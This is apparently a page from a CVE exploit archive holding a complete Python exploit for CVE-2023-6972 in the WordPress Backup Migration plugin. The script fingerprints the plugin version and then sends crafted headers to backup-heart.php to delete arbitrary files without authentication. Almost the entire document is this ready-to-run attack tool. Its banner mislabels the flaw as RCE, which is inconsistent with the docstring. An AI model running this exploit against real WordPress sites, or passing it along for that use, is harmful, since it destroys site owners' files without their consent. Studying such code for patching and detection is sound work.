5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
┌─────────────────────────────────────────────────────────────────────┐
│  CVE-2023-6972 — WordPress Backup Migration ≤ 1.3.9                 │
│  Unauthenticated Arbitrary File Deletion (AFD)                      │
│                                                                     │
│  Author  : Phantom Hat                                              │
│  CVSS    : 9.8 (Critical)                                           │
│  Type    : PHP Filter Chain → Arbitrary File Deletion               │
│  Plugin  : backup-backup (WordPress)                                │
│                                                                     │
│  DISCLAIMER: This tool is provided for authorized security          │
│  testing and educational purposes only. Unauthorized access to      │
│  computer systems is illegal. The author assumes no liability       │
│  for misuse of this software.                                       │
└─────────────────────────────────────────────────────────────────────┘
"""

import argparse
import os
import sys
import requests
from datetime import datetime
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich import box
from rich.align import Align
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.text import Text

# Disable warning about insecure requests (if using HTTPS without verify)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console(force_terminal=True)
VERBOSE = False

vulnerable_endpoint = "/wp-content/plugins/backup-backup/includes/backup-heart.php"

def timestamp() -> str:
    return datetime.now().strftime("%H:%M:%S")

def log_info(msg: str):
    if VERBOSE:
        console.print(f"  [dim cyan]•[/dim cyan] [bold cyan]INFO[/bold cyan]      {msg}")

def log_success(msg: str):
    console.print(f"  [bold bright_green]✓[/bold bright_green] [bold green]SUCCESS[/bold green]   {msg}")

def log_warning(msg: str):
    console.print(f"  [bold bright_yellow]![/bold bright_yellow] [bold yellow]WARNING[/bold yellow]   {msg}")

def log_error(msg: str):
    console.print(f"  [bold bright_red]✗[/bold bright_red] [bold red]ERROR[/bold red]     {msg}")

def log_phase(label: str):
    if VERBOSE:
        console.print()
        console.rule(f"[bold bright_magenta]✦ {label} ✦[/bold bright_magenta]", style="bright_magenta", characters="━")
        console.print()

def banner():
    os.system("clear" if os.name != "nt" else "cls")
    
    info_table = Table(
        show_header=False,
        box=box.DOUBLE_EDGE,
        border_style="bright_magenta",
        padding=(0, 3),
        expand=False,
    )
    info_table.add_column("Key", style="bold bright_cyan", no_wrap=True)
    info_table.add_column("Value", style="bright_white")

    info_table.add_row("Target",      "WordPress backup-backup Plugin")
    info_table.add_row("Vulnerability", "Unauthenticated RCE")
    info_table.add_row("Affected",    "≤ 1.3.9")
    info_table.add_row("Severity",    "[bold bright_red]CRITICAL[/bold bright_red]")
    
    console.print(Panel(
        Align.center(info_table),
        border_style="bright_magenta",
        box=box.DOUBLE,
        title="[bold bright_magenta]✦[/bold bright_magenta] [bold white]backup-backup RCE Exploit[/bold white] [bold bright_magenta]✦[/bold bright_magenta]",
        subtitle="[dim bright_cyan]Elite Exploitation Interface[/dim bright_cyan]",
        padding=(1, 4),
    ))
    console.print()

def construct_payload(file_path: str, file_name: str) -> str:
    if file_path.endswith("/"):
        file_path = file_path[:-1]
    last_directory = file_path.split("/")[-1]
    payload = f"./{last_directory}/{file_name}"
    return payload

def check(url: str) -> bool:
    log_phase("VULNERABILITY CHECK")
    target = f"{url}/wp-content/plugins/backup-backup/readme.txt"
    log_info(f"Targeting logic endpoint: [underline bright_cyan]{target}[/underline bright_cyan]")

    try:
        res = requests.get(target, timeout=10, verify=False)
    except requests.RequestException as e:
        log_error(f"Connection failed: {e}")
        return False

    if res.status_code != 200:
        log_error(f"HTTP {res.status_code} — Could not retrieve readme.txt")
        return False

    log_success("readme.txt retrieved successfully")
    
    detected_version = None
    for line in res.text.splitlines():
        if "Stable tag" in line:
            detected_version = line.split(":")[1].strip()
            break

    if not detected_version:
        log_warning("Could not extract 'Stable tag' from readme.txt")
        return False

    if VERBOSE:
        info_table = Table(
            box=box.DOUBLE, 
            border_style="bright_magenta", 
            show_lines=True,
            title="[bold white]Vulnerability Assessment[/bold white]"
        )
        info_table.add_column("Property", style="bold bright_cyan")
        info_table.add_column("Value", style="bright_white")
        info_table.add_row("Target", url)
        info_table.add_row("Detected Version", f"[bold bright_yellow]{detected_version}[/bold bright_yellow]")
        
        status = "[bold bright_green]VULNERABLE 🎯[/bold bright_green]" if detected_version <= "1.3.9" else "[bold bright_red]NOT VULNERABLE 🛡️[/bold bright_red]"
        info_table.add_row("Status", status)
        console.print()
        console.print(info_table)
        console.print()

    log_info(f"Detected version: {detected_version}")
    
    if detected_version <= "1.3.9":
        log_success("Target is [bold bright_green]vulnerable[/bold bright_green] 🎯")
        return True
    else:
        log_error("Target is [bold bright_red]not vulnerable[/bold bright_red] 🛡️")
        return False

def exploit(url: str, file_path: str, file_name: str) -> None:
    log_phase("EXPLOITATION SEQUENCE")
    exploit_url = url + vulnerable_endpoint
    
    log_info(f"Target endpoint: [underline bright_cyan]{exploit_url}[/underline bright_cyan]")
    log_info(f"File path: {file_path}")
    log_info(f"File name: {file_name}")

    payload = construct_payload(file_path, file_name)
    log_info(f"Constructed payload identity: [bold bright_yellow]{payload}[/bold bright_yellow]")

    exploit_headers = {
        "Content-Abs": "/var/www/html/", 
        "Content-Dir": "/var/www/html/wp-content/plugins/backup-backup/", 
        "Content-Bmitmp": file_path, 
        "Content-Identy": payload, 
        "Content-Backups": file_path, 
        "Content-Name": file_name, 
        "Content-It": "0", 
        "Content-Dbit": "-1", 
        "Connection": "keep-alive", 
        "Content-Type": "application/x-www-form-urlencoded"
    }

    with Progress(
        SpinnerColumn("dots12", style="bold bright_magenta"),
        TextColumn("[bold bright_cyan]Deploying exploit payload...[/bold bright_cyan]"),
        console=console,
        transient=True,
    ) as progress:
        progress.add_task("", total=None)
        try:
            res = requests.post(exploit_url, headers=exploit_headers, timeout=15, verify=False)
        except requests.RequestException as e:
            log_error(f"Exploit request failed: {e}")
            return

    if res.status_code == 200:
        log_success("Exploit successfully executed (HTTP 200) 🚀")
        if VERBOSE:
            console.print()
            console.print(Panel(
                Text(res.text[:500] + ("..." if len(res.text) > 500 else ""), style="bold bright_white"),
                title="[bold bright_green]✨ Server Response ✨[/bold bright_green]",
                border_style="bright_magenta",
                box=box.DOUBLE,
                padding=(1, 3)
            ))
            console.print()
    else:
        log_error(f"Exploit failed with HTTP {res.status_code}")

def main():
    global VERBOSE
    
    parser = argparse.ArgumentParser(
        description="Backup Backup Plugin RCE — Professional Interface",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parent_parser = argparse.ArgumentParser(add_help=False)
    parent_parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
    
    subparsers = parser.add_subparsers(dest="command", required=True)

    # check command
    check_parser = subparsers.add_parser("check", help="Check if target is vulnerable", parents=[parent_parser])
    check_parser.add_argument("-u", "--url", required=True, help="Target URL")

    # exploit command
    exploit_parser = subparsers.add_parser("exploit", help="Run exploit", parents=[parent_parser])
    exploit_parser.add_argument("-u", "--url", required=True, help="Target URL")
    exploit_parser.add_argument("-f", "--file-path", required=True, help="File path")
    exploit_parser.add_argument("-n", "--file-name", required=True, help="File name")

    args = parser.parse_args()
    
    VERBOSE = args.verbose

    # Normalize URL
    url = args.url.rstrip("/")

    banner()

    if args.command == "check":
        check(url)
    elif args.command == "exploit":
        exploit(url, args.file_path, args.file_name)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        console.print("\n  [bold red]Interrupted by user[/bold red]")
        sys.exit(1)